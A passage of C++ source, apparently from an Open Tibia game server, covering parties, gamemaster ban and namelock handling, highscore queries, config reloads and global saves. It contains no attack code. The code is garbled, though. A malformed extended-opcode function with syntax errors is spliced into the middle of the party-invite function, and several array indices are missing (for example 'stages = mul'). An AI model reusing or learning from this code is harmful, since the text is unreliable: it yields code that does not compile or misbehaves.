1440; if(std::abs(lightHour - SUNRISE) < 2 * lightHourDelta) lightState = LIGHT_STATE_SUNRISE; else if(std::abs(lightHour - SUNSET) < 2 * lightHourDelta) lightState = LIGHT_STATE_SUNSET; int32_t newLightLevel = lightLevel; bool lightChange = false; switch(lightState) { case LIGHT_STATE_SUNRISE: { newLightLevel += (LIGHT_LEVEL_DAY - LIGHT_LEVEL_NIGHT) / 30; lightChange = true; break; } case LIGHT_STATE_SUNSET: { newLightLevel -= (LIGHT_LEVEL_DAY - LIGHT_LEVEL_NIGHT) / 30; lightChange = true; break; } default: break; } if(newLightLevel <= LIGHT_LEVEL_NIGHT) { lightLevel = LIGHT_LEVEL_NIGHT; lightState = LIGHT_STATE_NIGHT; } else if(newLightLevel >= LIGHT_LEVEL_DAY) { lightLevel = LIGHT_LEVEL_DAY; lightState = LIGHT_STATE_DAY; } else lightLevel = newLightLevel; if(lightChange) { LightInfo lightInfo; getWorldLightInfo(lightInfo); for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it) it->second->sendWorldLight(lightInfo); } } void Game::getWorldLightInfo(LightInfo& lightInfo) { lightInfo.level = lightLevel; lightInfo.color = 0xD7; } bool Game::cancelRuleViolation(Player* player) { RuleViolationsMap::iterator it = ruleViolations.find(player->getID()); if(it == ruleViolations.end()) return false; Player* gamemaster = it->second->gamemaster; if(!it->second->isOpen && gamemaster) //Send to the responser gamemaster->sendRuleViolationCancel(player->getName()); else if(ChatChannel* channel = g_chat.getChannelById(CHANNEL_RVR)) { UsersMap tmpMap = channel->getUsers(); for(UsersMap::iterator tit = tmpMap.begin(); tit != tmpMap.end(); ++tit) tit->second->sendRemoveReport(player->getName()); } //Now erase it ruleViolations.erase(it); return true; } bool Game::closeRuleViolation(Player* player) { RuleViolationsMap::iterator it = ruleViolations.find(player->getID()); if(it == ruleViolations.end()) return false; ruleViolations.erase(it); player->sendLockRuleViolation(); if(ChatChannel* channel = g_chat.getChannelById(CHANNEL_RVR)) { UsersMap tmpMap = channel->getUsers(); for(UsersMap::iterator tit = tmpMap.begin(); tit != tmpMap.end(); ++tit) tit->second->sendRemoveReport(player->getName()); } return true; } void Game::updateCreatureSkull(Creature* creature) { const SpectatorVec& list = getSpectators(creature->getPosition()); //send to client Player* tmpPlayer = NULL; for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it) { if((tmpPlayer = (*it)->getPlayer())) tmpPlayer->sendCreatureSkull(creature); } } bool Game::playerInviteToParty(uint32_t playerId, uint32_t invitedId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; Player* invitedPlayer = getPlayerByID(invitedId); if(!invitedPlayer || invitedPlayer->isRemoved() || invitedPlayer->isInviting(player)) return false; if(invitedPlayer->getParty()) { char buffer[90]; sprintf(buffer, "%s is already in a party.", invitedPlayer->getName().c_str()); player->sendTextMessage(MSG_INFO_DESCR, buffer); return false; } } void game::parsePlayereExtendedOpcode(uint32_t playerId, uint8_t opcode, const std::string& buffer) { Player* player = getPlayerByID(playerId); if (!player || player->isRemoved()) CreatureEventList extendedOpcodeEvents = player ->getCreatureEvents(CREATURE_EVENT_EXTENDED_OPCODE) for (CreatureEventList::iterator it = extendedOpcodeEvents.begin(): it !extendedOpcodeEvents.end(): ++it) (*it)->executeExtendedOpcode(player, opcode, buffer): } { Party* party = player->getParty(); if(!party) party = new Party(player); else if(party->getLeader() != player) return false; return party->invitePlayer(invitedPlayer); } bool Game::playerJoinParty(uint32_t playerId, uint32_t leaderId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; Player* leader = getPlayerByID(leaderId); if(!leader || leader->isRemoved() || !leader->isInviting(player)) return false; if(!player->getParty()) return leader->getParty()->join(player); player->sendTextMessage(MSG_INFO_DESCR, "You are already in a party."); return false; } bool Game::playerRevokePartyInvitation(uint32_t playerId, uint32_t invitedId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved() || !player->getParty() || player->getParty()->getLeader() != player) return false; Player* invitedPlayer = getPlayerByID(invitedId); if(!invitedPlayer || invitedPlayer->isRemoved() || !player->isInviting(invitedPlayer)) return false; player->getParty()->revokeInvitation(invitedPlayer); return true; } bool Game::playerPassPartyLeadership(uint32_t playerId, uint32_t newLeaderId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved() || !player->getParty() || player->getParty()->getLeader() != player) return false; Player* newLeader = getPlayerByID(newLeaderId); if(!newLeader || newLeader->isRemoved() || !player->isPartner(newLeader)) return false; return player->getParty()->passLeadership(newLeader); } bool Game::playerLeaveParty(uint32_t playerId) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; if(!player->getParty() || player->hasCondition(CONDITION_INFIGHT)) return false; return player->getParty()->leave(player); } bool Game::playerSharePartyExperience(uint32_t playerId, bool activate, uint8_t unknown) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; if(!player->getParty() || (!player->hasFlag(PlayerFlag_NotGainInFight) && player->hasCondition(CONDITION_INFIGHT))) return false; return player->getParty()->setSharedExperience(player, activate); } bool Game::playerReportBug(uint32_t playerId, std::string comment) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; if(!player->hasFlag(PlayerFlag_CanReportBugs)) return false; CreatureEventList reportBugEvents = player->getCreatureEvents(CREATURE_EVENT_REPORTBUG); for(CreatureEventList::iterator it = reportBugEvents.begin(); it != reportBugEvents.end(); ++it) (*it)->executeReportBug(player, comment); return true; } bool Game::playerViolationWindow(uint32_t playerId, std::string name, uint8_t reason, ViolationAction_t action, std::string comment, std::string statement, uint32_t statementId, bool ipBanishment) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return false; Group* group = player->getGroup(); if(!group) return false; time_t length[3] = {0, 0, 0}; int32_t pos = 0, start = comment.find("{"); while((start = comment.find("{")) > 0 && pos < 4) { std::string::size_type end = comment.find("}", start); if(end == std::string::npos) break; std::string data = comment.substr(start + 1, end - 1); comment = comment.substr(end + 1); ++pos; if(data.empty()) continue; if(data == "delete") { action = ACTION_DELETION; continue; } time_t banTime = time(NULL); StringVec vec = explodeString(";", data); for(StringVec::iterator it = vec.begin(); it != vec.end(); ++it) { StringVec tmp = explodeString(",", *it); uint32_t count = 1; if(tmp.size() > 1) { count = atoi(tmp[1].c_str()); if(!count) count = 1; } if(tmp[0][0] == 's') banTime += count; if(tmp[0][0] == 'm') banTime += count * 60; if(tmp[0][0] == 'h') banTime += count * 3600; if(tmp[0][0] == 'd') banTime += count * 86400; if(tmp[0][0] == 'w') banTime += count * 604800; if(tmp[0][0] == 'm') banTime += count * 2592000; if(tmp[0][0] == 'y') banTime += count * 31536000; } if(action == ACTION_DELETION) length[pos - 2] = banTime; else length[pos - 1] = banTime; } int16_t nameFlags = group->getNameViolationFlags(), statementFlags = group->getStatementViolationFlags(); if((ipBanishment && ((nameFlags & IPBAN_FLAG) != IPBAN_FLAG || (statementFlags & IPBAN_FLAG) != IPBAN_FLAG)) || !(nameFlags & (1 << action) || statementFlags & (1 << action)) || reason > group->getViolationReasons()) { player->sendCancel("You do not have authorization for this action."); return false; } uint32_t commentSize = g_config.getNumber(ConfigManager::MAX_VIOLATIONCOMMENT_SIZE); if(comment.size() > commentSize) { char buffer[90]; sprintf(buffer, "The comment may not exceed limit of %d characters.", commentSize); player->sendCancel(buffer); return false; } toLowerCaseString(name); Player* target = getPlayerByNameEx(name); if(!target || name == "account manager") { player->sendCancel("A player with this name does not exist."); return false; } if(target->hasFlag(PlayerFlag_CannotBeBanned)) { player->sendCancel("You do not have authorization for this action."); return false; } Account account = IOLoginData::getInstance()->loadAccount(target->getAccount(), true); enum KickAction { NONE = 1, KICK = 2, FULL_KICK = 3, } kickAction = FULL_KICK; pos = 1; switch(action) { case ACTION_STATEMENT: { StatementMap::iterator it = g_chat.statementMap.find(statementId); if(it == g_chat.statementMap.end()) { player->sendCancel("Statement has been already reported."); return false; } IOBan::getInstance()->addStatement(target->getGUID(), reason, comment, player->getGUID(), -1, statement); g_chat.statementMap.erase(it); kickAction = NONE; break; } case ACTION_NAMEREPORT: { int64_t banTime = -1; PlayerBan_t tmp = (PlayerBan_t)g_config.getNumber(ConfigManager::NAME_REPORT_TYPE); if(tmp == PLAYERBAN_BANISHMENT) { if(!length[0]) banTime = time(NULL) + g_config.getNumber(ConfigManager::BAN_LENGTH); else banTime = length[0]; } if(!IOBan::getInstance()->addPlayerBanishment(target->getGUID(), banTime, reason, action, comment, player->getGUID(), tmp)) { player->sendCancel("Player has been already reported."); return false; } else if(tmp == PLAYERBAN_BANISHMENT) account.warnings++; kickAction = (KickAction)tmp; break; } case ACTION_NOTATION: { if(!IOBan::getInstance()->addNotation(account.number, reason, comment, player->getGUID(), target->getGUID())) { player->sendCancel("Unable to perform action."); return false; } if(IOBan::getInstance()->getNotationsCount(account.number) < (uint32_t) g_config.getNumber(ConfigManager::NOTATIONS_TO_BAN)) { kickAction = NONE; break; } action = ACTION_BANISHMENT; } case ACTION_BANISHMENT: case ACTION_BANREPORT: { bool deny = action != ACTION_BANREPORT; int64_t banTime = -1; pos = 2; account.warnings++; if(account.warnings >= g_config.getNumber(ConfigManager::WARNINGS_TO_DELETION)) action = ACTION_DELETION; else if(length[0]) banTime = length[0]; else if(account.warnings >= g_config.getNumber(ConfigManager::WARNINGS_TO_FINALBAN)) banTime = time(NULL) + g_config.getNumber(ConfigManager::FINALBAN_LENGTH); else banTime = time(NULL) + g_config.getNumber(ConfigManager::BAN_LENGTH); if(!IOBan::getInstance()->addAccountBanishment(account.number, banTime, reason, action, comment, player->getGUID(), target->getGUID())) { account.warnings--; player->sendCancel("Account is already banned."); return false; } if(deny) break; banTime = -1; PlayerBan_t tmp = (PlayerBan_t)g_config.getNumber(ConfigManager::NAME_REPORT_TYPE); if(tmp == PLAYERBAN_BANISHMENT) { if(!length[1]) banTime = time(NULL) + g_config.getNumber(ConfigManager::FINALBAN_LENGTH); else banTime = length[1]; } IOBan::getInstance()->addPlayerBanishment(target->getGUID(), banTime, reason, action, comment, player->getGUID(), tmp); break; } case ACTION_BANFINAL: case ACTION_BANREPORTFINAL: { bool allow = action == ACTION_BANREPORTFINAL; int64_t banTime = -1; account.warnings++; if(account.warnings >= g_config.getNumber(ConfigManager::WARNINGS_TO_DELETION)) action = ACTION_DELETION; else if(length[0]) banTime = length[0]; else banTime = time(NULL) + g_config.getNumber(ConfigManager::FINALBAN_LENGTH); if(!IOBan::getInstance()->addAccountBanishment(account.number, banTime, reason, action, comment, player->getGUID(), target->getGUID())) { account.warnings--; player->sendCancel("Account is already banned."); return false; } if(action != ACTION_DELETION) account.warnings += (g_config.getNumber(ConfigManager::WARNINGS_TO_FINALBAN) - 1); if(allow) IOBan::getInstance()->addPlayerBanishment(target->getGUID(), -1, reason, action, comment, player->getGUID(), (PlayerBan_t)g_config.getNumber( ConfigManager::NAME_REPORT_TYPE)); break; } case ACTION_DELETION: { //completely internal account.warnings++; if(!IOBan::getInstance()->addAccountBanishment(account.number, -1, reason, ACTION_DELETION, comment, player->getGUID(), target->getGUID())) { account.warnings--; player->sendCancel("Account is currently banned or already deleted."); return false; } break; } default: // these just shouldn't occur in rvw return false; } if(ipBanishment && target->getIP()) { if(!length[pos]) length[pos] = time(NULL) + g_config.getNumber(ConfigManager::IPBANISHMENT_LENGTH); IOBan::getInstance()->addIpBanishment(target->getIP(), length[pos], reason, comment, player->getGUID(), 0xFFFFFFFF); } if(kickAction == FULL_KICK) IOBan::getInstance()->removeNotations(account.number); std::stringstream ss; if(g_config.getBool(ConfigManager::BROADCAST_BANISHMENTS)) ss << player->getName() << " has"; else ss << "You have"; ss << " taken the action \"" << getAction(action, ipBanishment) << "\""; switch(action) { case ACTION_NOTATION: { ss << " (" << (g_config.getNumber(ConfigManager::NOTATIONS_TO_BAN) - IOBan::getInstance()->getNotationsCount( account.number)) << " left to banishment)"; break; } case ACTION_STATEMENT: { ss << " for the statement: \"" << statement << "\""; break; } default: break; } ss << " against: " << name << " (Warnings: " << account.warnings << "), with reason: \"" << getReason( reason) << "\", and comment: \"" << comment << "\"."; if(g_config.getBool(ConfigManager::BROADCAST_BANISHMENTS)) broadcastMessage(ss.str(), MSG_STATUS_WARNING); else player->sendTextMessage(MSG_STATUS_CONSOLE_RED, ss.str()); if(target->isVirtual()) { delete target; target = NULL; } else if(kickAction > NONE) { char buffer[30]; sprintf(buffer, "You have been %s.", (kickAction > KICK ? "banished" : "namelocked")); target->sendTextMessage(MSG_INFO_DESCR, buffer); addMagicEffect(target->getPosition(), MAGIC_EFFECT_WRAPS_GREEN); Scheduler::getInstance().addEvent(createSchedulerTask(1000, boost::bind( &Game::kickPlayer, this, target->getID(), false))); } IOLoginData::getInstance()->saveAccount(account); return true; } void Game::kickPlayer(uint32_t playerId, bool displayEffect) { Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return; player->kickPlayer(displayEffect, true); } bool Game::broadcastMessage(const std::string& text, MessageClasses type) { if(type < MSG_CLASS_FIRST || type > MSG_CLASS_LAST) return false; std::cout << "> Broadcasted message: \"" << text << "\"." << std::endl; for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it) it->second->sendTextMessage(type, text); return true; } Position Game::getClosestFreeTile(Creature* creature, Position pos, bool extended/* = false*/, bool ignoreHouse/* = true*/) { PairVector relList; relList.push_back(PositionPair(0, 0)); relList.push_back(PositionPair(-1, -1)); relList.push_back(PositionPair(-1, 0)); relList.push_back(PositionPair(-1, 1)); relList.push_back(PositionPair(0, -1)); relList.push_back(PositionPair(0, 1)); relList.push_back(PositionPair(1, -1)); relList.push_back(PositionPair(1, 0)); relList.push_back(PositionPair(1, 1)); if(extended) { relList.push_back(PositionPair(-2, 0)); relList.push_back(PositionPair(0, -2)); relList.push_back(PositionPair(0, 2)); relList.push_back(PositionPair(2, 0)); } std::random_shuffle(relList.begin() + 1, relList.end()); if(Player* player = creature->getPlayer()) { for(PairVector::iterator it = relList.begin(); it != relList.end(); ++it) { Tile* tile = map->getTile(Position((pos.x + it->first), (pos.y + it->second), pos.z)); if(!tile || !tile->ground) continue; ReturnValue ret = tile->__queryAdd(0, player, 1, FLAG_IGNOREBLOCKITEM); if(ret == RET_NOTENOUGHROOM || (ret == RET_NOTPOSSIBLE && !player->hasCustomFlag(PlayerCustomFlag_CanMoveAnywhere)) || (ret == RET_PLAYERISNOTINVITED && !ignoreHouse && !player->hasFlag(PlayerFlag_CanEditHouses))) continue; return tile->getPosition(); } } else { for(PairVector::iterator it = relList.begin(); it != relList.end(); ++it) { Tile* tile = NULL; if((tile = map->getTile(Position((pos.x + it->first), (pos.y + it->second), pos.z))) && tile->__queryAdd(0, creature, 1, FLAG_IGNOREBLOCKITEM) == RET_NOERROR) return tile->getPosition(); } } return Position(0, 0, 0); } std::string Game::getSearchString(const Position fromPos, const Position toPos, bool fromIsCreature/* = false*/, bool toIsCreature/* = false*/) { /* * When the position is on same level and 0 to 4 squares away, they are "[toIsCreature: standing] next to you" * When the position is on same level and 5 to 100 squares away they are "to the north/west/south/east." * When the position is on any level and 101 to 274 squares away they are "far to the north/west/south/east." * When the position is on any level and 275+ squares away they are "very far to the north/west/south/east." * When the position is not directly north/west/south/east of you they are "((very) far) to the north-west/south-west/south-east/north-east." * When the position is on a lower or higher level and 5 to 100 squares away they are "on a lower (or) higher level to the north/west/south/east." * When the position is on a lower or higher level and 0 to 4 squares away they are "below (or) above you." */ enum distance_t { DISTANCE_BESIDE, DISTANCE_CLOSE, DISTANCE_FAR, DISTANCE_VERYFAR }; enum direction_t { DIR_N, DIR_S, DIR_E, DIR_W, DIR_NE, DIR_NW, DIR_SE, DIR_SW }; enum level_t { LEVEL_HIGHER, LEVEL_LOWER, LEVEL_SAME }; distance_t distance; direction_t direction; level_t level; int32_t dx = fromPos.x - toPos.x, dy = fromPos.y - toPos.y, dz = fromPos.z - toPos.z; if(dz > 0) level = LEVEL_HIGHER; else if(dz < 0) level = LEVEL_LOWER; else level = LEVEL_SAME; if(std::abs(dx) < 5 && std::abs(dy) < 5) distance = DISTANCE_BESIDE; else { int32_t tmp = dx * dx + dy * dy; if(tmp < 10000) distance = DISTANCE_CLOSE; else if(tmp < 75625) distance = DISTANCE_FAR; else distance = DISTANCE_VERYFAR; } float tan; if(dx != 0) tan = (float)dy / (float)dx; else tan = 10.; if(std::abs(tan) < 0.4142) { if(dx > 0) direction = DIR_W; else direction = DIR_E; } else if(std::abs(tan) < 2.4142) { if(tan > 0) { if(dy > 0) direction = DIR_NW; else direction = DIR_SE; } else { if(dx > 0) direction = DIR_SW; else direction = DIR_NE; } } else { if(dy > 0) direction = DIR_N; else direction = DIR_S; } std::stringstream ss; switch(distance) { case DISTANCE_BESIDE: { switch(level) { case LEVEL_SAME: { ss << "is "; if(toIsCreature) ss << "standing "; ss << "next to you"; break; } case LEVEL_HIGHER: { ss << "is above "; if(fromIsCreature) ss << "you"; break; } case LEVEL_LOWER: { ss << "is below "; if(fromIsCreature) ss << "you"; break; } default: break; } break; } case DISTANCE_CLOSE: { switch(level) { case LEVEL_SAME: ss << "is to the"; break; case LEVEL_HIGHER: ss << "is on a higher level to the"; break; case LEVEL_LOWER: ss << "is on a lower level to the"; break; default: break; } break; } case DISTANCE_FAR: ss << "is far to the"; break; case DISTANCE_VERYFAR: ss << "is very far to the"; break; default: break; } if(distance != DISTANCE_BESIDE) { ss << " "; switch(direction) { case DIR_N: ss << "north"; break; case DIR_S: ss << "south"; break; case DIR_E: ss << "east"; break; case DIR_W: ss << "west"; break; case DIR_NE: ss << "north-east"; break; case DIR_NW: ss << "north-west"; break; case DIR_SE: ss << "south-east"; break; case DIR_SW: ss << "south-west"; break; default: break; } } return ss.str(); } double Game::getExperienceStage(uint32_t level, double divider/* = 1.*/) { if(!g_config.getBool(ConfigManager::EXPERIENCE_STAGES)) return g_config.getDouble(ConfigManager::RATE_EXPERIENCE) * divider; if(lastStageLevel && level >= lastStageLevel) return stages[lastStageLevel] * divider; return stages[level] * divider; } bool Game::fetchBlacklist() { xmlDocPtr doc = xmlParseFile("http://forgottenserver.otland.net/blacklist.xml"); if(!doc) return false; xmlNodePtr p, root = xmlDocGetRootElement(doc); if(!xmlStrcmp(root->name, (const xmlChar*)"blacklist")) { p = root->children; while(p) { if(!xmlStrcmp(p->name, (const xmlChar*)"entry")) { std::string ip; if(readXMLString(p, "ip", ip)) blacklist.push_back(ip); } p = p->next; } } xmlFreeDoc(doc); return true; } bool Game::loadExperienceStages() { if(!g_config.getBool(ConfigManager::EXPERIENCE_STAGES)) return true; xmlDocPtr doc = xmlParseFile(getFilePath(FILE_TYPE_XML, "stages.xml").c_str()); if(!doc) { std::cout << "[Warning - Game::loadExperienceStages] Cannot load stages file." << std::endl; std::cout << getLastXMLError() << std::endl; return false; } xmlNodePtr q, p, root = xmlDocGetRootElement(doc); if(xmlStrcmp(root->name, (const xmlChar*)"stages")) { std::cout << "[Error - Game::loadExperienceStages] Malformed stages file" << std::endl; xmlFreeDoc(doc); return false; } int32_t intValue, low = 0, high = 0; float floatValue, mul = 1.0f, defStageMultiplier; std::string strValue; lastStageLevel = 0; stages.clear(); q = root->children; while(q) { if(!xmlStrcmp(q->name, (const xmlChar*)"world")) { if(readXMLString(q, "id", strValue)) { IntegerVec intVector; if(!parseIntegerVec(strValue, intVector) || std::find(intVector.begin(), intVector.end(), g_config.getNumber(ConfigManager::WORLD_ID)) == intVector.end()) { q = q->next; continue; } } defStageMultiplier = 1.0f; if(readXMLFloat(q, "multiplier", floatValue)) defStageMultiplier = floatValue; p = q->children; while(p) { if(!xmlStrcmp(p->name, (const xmlChar*)"stage")) { low = 1; if(readXMLInteger(p, "minlevel", intValue) || readXMLInteger(p, "minLevel", intValue)) low = intValue; high = 0; if(readXMLInteger(p, "maxlevel", intValue) || readXMLInteger(p, "maxLevel", intValue)) high = intValue; else lastStageLevel = low; mul = 1.0f; if(readXMLFloat(p, "multiplier", floatValue)) mul = floatValue; mul *= defStageMultiplier; if(lastStageLevel && lastStageLevel == (uint32_t)low) stages[lastStageLevel] = mul; else { for(int32_t i = low; i <= high; i++) stages = mul; } } p = p->next; } } if(!xmlStrcmp(q->name, (const xmlChar*)"stage")) { low = 1; if(readXMLInteger(q, "minlevel", intValue)) low = intValue; else high = 0; if(readXMLInteger(q, "maxlevel", intValue)) high = intValue; else lastStageLevel = low; mul = 1.0f; if(readXMLFloat(q, "multiplier", floatValue)) mul = floatValue; if(lastStageLevel && lastStageLevel == (uint32_t)low) stages[lastStageLevel] = mul; else { for(int32_t i = low; i <= high; i++) stages = mul; } } q = q->next; } xmlFreeDoc(doc); return true; } bool Game::reloadHighscores() { lastHighscoreCheck = time(NULL); for(int16_t i = 0; i < 9; ++i) highscoreStorage = getHighscore(i); return true; } void Game::checkHighscores() { reloadHighscores(); uint32_t tmp = g_config.getNumber(ConfigManager::HIGHSCORES_UPDATETIME) * 60 * 1000; if(tmp <= 0) return; Scheduler::getInstance().addEvent(createSchedulerTask(tmp, boost::bind(&Game::checkHighscores, this))); } std::string Game::getHighscoreString(uint16_t skill) { Highscore hs = highscoreStorage[skill]; std::stringstream ss; ss << "Highscore for " << getSkillName(skill) << "\n\nRank Level - Player Name"; for(uint32_t i = 0; i < hs.size(); i++) ss << "\n" << (i + 1) << ". " << hs.second << " - " << hs.first; ss << "\n\nLast updated on:\n" << std::ctime(&lastHighscoreCheck); return ss.str(); } Highscore Game::getHighscore(uint16_t skill) { Highscore hs; Database* db = Database::getInstance(); DBResult* result; DBQuery query; if(skill >= SKILL__MAGLEVEL) { if(skill == SKILL__MAGLEVEL) query << "SELECT `maglevel`, `name` FROM `players` ORDER BY `maglevel` DESC, `manaspent` DESC LIMIT " << g_config.getNumber(ConfigManager::HIGHSCORES_TOP); else query << "SELECT `level`, `name` FROM `players` ORDER BY `level` DESC, `experience` DESC LIMIT " << g_config.getNumber(ConfigManager::HIGHSCORES_TOP); if(!(result = db->storeQuery(query.str()))) return hs; do { uint32_t level; if(skill == SKILL__MAGLEVEL) level = result->getDataInt("maglevel"); else level = result->getDataInt("level"); std::string name = result->getDataString("name"); if(name.length() > 0) hs.push_back(std::make_pair(name, level)); } while(result->next()); result->free(); } else { query << "SELECT `player_skills`.`value`, `players`.`name` FROM `player_skills`,`players` WHERE `player_skills`.`skillid`=" << skill << " AND `player_skills`.`player_id`=`players`.`id` ORDER BY `player_skills`.`value` DESC, `player_skills`.`count` DESC LIMIT " << g_config.getNumber(ConfigManager::HIGHSCORES_TOP); if(!(result = db->storeQuery(query.str()))) return hs; do { std::string name = result->getDataString("name"); if(name.length() > 0) hs.push_back(std::make_pair(name, result->getDataInt("value"))); } while(result->next()); result->free(); } return hs; } int32_t Game::getMotdId() { if(lastMotd == g_config.getString(ConfigManager::MOTD)) return lastMotdId; lastMotd = g_config.getString(ConfigManager::MOTD); Database* db = Database::getInstance(); DBQuery query; query << "INSERT INTO `server_motd` (`id`, `world_id`, `text`) VALUES (" << ++lastMotdId << ", " << g_config.getNumber(ConfigManager::WORLD_ID) << ", " << db->escapeString(lastMotd) << ")"; if(db->executeQuery(query.str())) return lastMotdId; return --lastMotdId; } void Game::loadMotd() { Database* db = Database::getInstance(); DBQuery query; query << "SELECT `id`, `text` FROM `server_motd` WHERE `world_id` = " << g_config.getNumber(ConfigManager::WORLD_ID) << " ORDER BY `id` DESC LIMIT 1"; DBResult* result; if(!(result = db->storeQuery(query.str()))) { std::cout << "> ERROR: Failed to load motd!" << std::endl; lastMotdId = random_range(5, 500); return; } lastMotdId = result->getDataInt("id"); lastMotd = result->getDataString("text"); result->free(); } void Game::checkPlayersRecord(Player* player) { uint32_t count = getPlayersOnline(); if(count <= playersRecord) return; GlobalEventMap recordEvents = g_globalEvents->getEventMap(GLOBAL_EVENT_RECORD); for(GlobalEventMap::iterator it = recordEvents.begin(); it != recordEvents.end(); ++it) it->second->executeRecord(count, playersRecord, player); playersRecord = count; } void Game::loadPlayersRecord() { Database* db = Database::getInstance(); DBQuery query; query << "SELECT `record` FROM `server_record` WHERE `world_id` = " << g_config.getNumber(ConfigManager::WORLD_ID) << " ORDER BY `timestamp` DESC LIMIT 1"; DBResult* result; if(!(result = db->storeQuery(query.str()))) { std::cout << "> ERROR: Failed to load players record!" << std::endl; return; } playersRecord = result->getDataInt("record"); result->free(); } bool Game::reloadInfo(ReloadInfo_t reload, uint32_t playerId/* = 0*/) { bool done = false; switch(reload) { case RELOAD_ACTIONS: { if(g_actions->reload()) done = true; else std::cout << "[Error - Game::reloadInfo] Failed to reload actions." << std::endl; break; } case RELOAD_CHAT: { if(g_chat.reload()) done = true; else std::cout << "[Error - Game::reloadInfo] Failed to reload chat." << std::endl; break; } case RELOAD_CONFIG: { if(g_config.reload()) done = true; else std::cout << "[Error - Game::reloadInfo] Failed to reload config." << std::endl; break; } case RELOAD_CREATUREEVENTS: { if(g_creatureEvents->reload()) done = true; else std::cout << "[Error - Game::reloadInfo] Failed to reload creature events." << std::endl; break; } case RELOAD_GAMESERVERS: { #ifdef __LOGIN_SERVER__ if(GameServers::getInstance()->reload()) done = true; else std::cout << "[Error - Game::reloadInfo] Failed to reload game servers." << std::endl; #endif break; } case RELOAD_GLOBALEVENTS: { if(g_globalEvents->reload()) done = true; else std::cout << "[Error - Game::reloadInfo] Failed to reload global events." << std::endl; break; } case RELOAD_GROUPS: { //if(Groups::getInstance()->reload()) done = true; //else // std::cout << "[Error - Game::reloadInfo] Failed to reload groups." << std::endl; break; } case RELOAD_HIGHSCORES: { if(reloadHighscores()) done = true; else std::cout << "[Error - Game::reloadInfo] Failed to reload highscores." << std::endl; break; } case RELOAD_HOUSEPRICES: { if(Houses::getInstance()->reloadPrices()) done = true; else std::cout << "[Error - Game::reloadInfo] Failed to reload house prices." << std::endl; break; } case RELOAD_ITEMS: { //TODO std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl; done = true; break; } case RELOAD_MODS: { std::cout << ">> Reloading mods..." << std::endl; if(ScriptingManager::getInstance()->reloadMods()) done = true; else std::cout << "[Error - Game::reloadInfo] Failed to reload mods." << std::endl; break; } case RELOAD_MONSTERS: { if(g_monsters.reload()) done = true; else std::cout << "[Error - Game::reloadInfo] Failed to reload monsters." << std::endl; break; } case RELOAD_MOVEEVENTS: { if(g_moveEvents->reload()) done = true; else std::cout << "[Error - Game::reloadInfo] Failed to reload move events." << std::endl; break; } case RELOAD_NPCS: { g_npcs.reload(); done = true; break; } case RELOAD_OUTFITS: { //TODO std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl; done = true; break; } case RELOAD_QUESTS: { if(Quests::getInstance()->reload()) done = true; else std::cout << "[Error - Game::reloadInfo] Failed to reload quests." << std::endl; break; } case RELOAD_RAIDS: { if(!Raids::getInstance()->reload()) std::cout << "[Error - Game::reloadInfo] Failed to reload raids." << std::endl; else if(!Raids::getInstance()->startup()) std::cout << "[Error - Game::reloadInfo] Failed to startup raids when reloading." << std::endl; else done = true; break; } case RELOAD_SPELLS: { if(!g_spells->reload()) std::cout << "[Error - Game::reloadInfo] Failed to reload spells." << std::endl; else if(!g_monsters.reload()) std::cout << "[Error - Game::reloadInfo] Failed to reload monsters when reloading spells." << std::endl; else done = true; break; } case RELOAD_STAGES: { if(loadExperienceStages()) done = true; else std::cout << "[Error - Game::reloadInfo] Failed to reload stages." << std::endl; break; } case RELOAD_TALKACTIONS: { if(g_talkActions->reload()) done = true; else std::cout << "[Error - Game::reloadInfo] Failed to reload talk actions." << std::endl; break; } case RELOAD_VOCATIONS: { //if(Vocations::getInstance()->reload()) done = true; //else // std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl; break; } case RELOAD_WEAPONS: { //TODO std::cout << "[Notice - Game::reloadInfo] Reload type does not work." << std::endl; done = true; break; } case RELOAD_ALL: { done = true; for(uint8_t i = RELOAD_FIRST; i <= RELOAD_LAST; i++) { if(!reloadInfo((ReloadInfo_t)i) && done) done = false; } break; } default: { std::cout << "[Warning - Game::reloadInfo] Reload type not found." << std::endl; break; } } if(!playerId) return done; Player* player = getPlayerByID(playerId); if(!player || player->isRemoved()) return done; if(done) { player->sendTextMessage(MSG_STATUS_CONSOLE_BLUE, "Reloaded successfully."); return true; } player->sendTextMessage(MSG_STATUS_CONSOLE_BLUE, "Failed to reload."); return false; } void Game::prepareGlobalSave() { if(!globalSaveMessage[0]) { setGameState(GAME_STATE_CLOSING); globalSaveMessage[0] = true; broadcastMessage("Server is going down for a global save within 5 minutes. Please logout.", MSG_STATUS_WARNING); Scheduler::getInstance().addEvent(createSchedulerTask(120000, boost::bind(&Game::prepareGlobalSave, this))); } else if(!globalSaveMessage[1]) { globalSaveMessage[1] = true; broadcastMessage("Server is going down for a global save within 3 minutes. Please logout.", MSG_STATUS_WARNING); Scheduler::getInstance().addEvent(createSchedulerTask(120000, boost::bind(&Game::prepareGlobalSave, this))); } else if(!globalSaveMessage[2]) { globalSaveMessage[2] = true; broadcastMessage("Server is going down for a global save in one minute, please logout!", MSG_STATUS_WARNING); Scheduler::getInstance().addEvent(createSchedulerTask(60000, boost::bind(&Game::prepareGlobalSave, this))); } else globalSave(); } void Game::globalSave() { if(g_config.getBool(ConfigManager::SHUTDOWN_AT_GLOBALSAVE)) { //shutdown server Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_SHUTDOWN))); return; } //close server Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::setGameState, this, GAME_STATE_CLOSED))); //clean map if configured to if(g_config.getBool(ConfigManager::CLEAN_MAP_AT_GLOBALSAVE)) { uint32_t dummy; cleanMap(dummy); } //pay houses Houses::getInstance()->payHouses(); //clear temporial and expired bans 